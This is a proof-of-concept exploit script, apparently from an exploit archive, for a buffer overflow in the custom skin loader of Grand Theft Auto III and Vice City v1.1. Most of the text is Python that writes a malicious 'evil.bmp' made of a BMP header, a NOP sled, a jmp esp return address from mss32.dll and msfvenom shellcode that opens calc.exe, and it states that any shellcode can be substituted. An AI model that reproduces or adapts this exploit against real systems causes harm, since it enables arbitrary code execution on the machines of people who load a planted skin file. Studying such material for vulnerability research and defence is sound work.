# Exploit Title: Grand Theft Auto III/Vice City Skin File v1.1 - Buffer Overflow 
# Exploit Date: 22.01.2023
# Discovered and Written by: Knursoft
# Vendor Homepage: https://www.rockstargames.com/
# Version: v1.1
# Tested on: Windows XP SP2/SP3, 7, 10 21H2
# CVE : N/A

#1 - Run this python script to generate "evil.bmp" file.
#2 - Copy it to [Your Game Path]\skins.
#3 - Launch the game and navigate to Options > Player Setup and choose skin
"evil".
#4 - Buffer Overflow occurs and calc.exe pops up!

#msfvenom -p windows/exec CMD="calc.exe"
buf =  b""
buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64"
buf += b"\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28"
buf += b"\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c"
buf += b"\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52"
buf += b"\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
buf += b"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49"
buf += b"\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
buf += b"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75"
buf += b"\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b"
buf += b"\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
buf += b"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
buf += b"\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00"
buf += b"\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5"
buf += b"\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
buf += b"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
buf += b"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65"
buf += b"\x00"
#any shellcode should work, as it seems there is no badchars

ver = 0 #set to 1 if you want it to work on GTA III steam version

esp = b"\xb9\xc5\x14\x21" #mss32.dll jmp esp
bmphdr =
b"\x42\x4D\x36\x00\x03\x00\x00\x00\x00\x00\x36\x00\x00\x00\x28\x00"
#generic bmp header

payload = bmphdr
payload += b"\x90" * 1026
if ver == 1:
    payload += b"\x90" * 112
payload += esp
payload += b"\x90" * 20 #padding
payload += buf

with open("evil.bmp", "wb") as poc:
    poc.write(payload)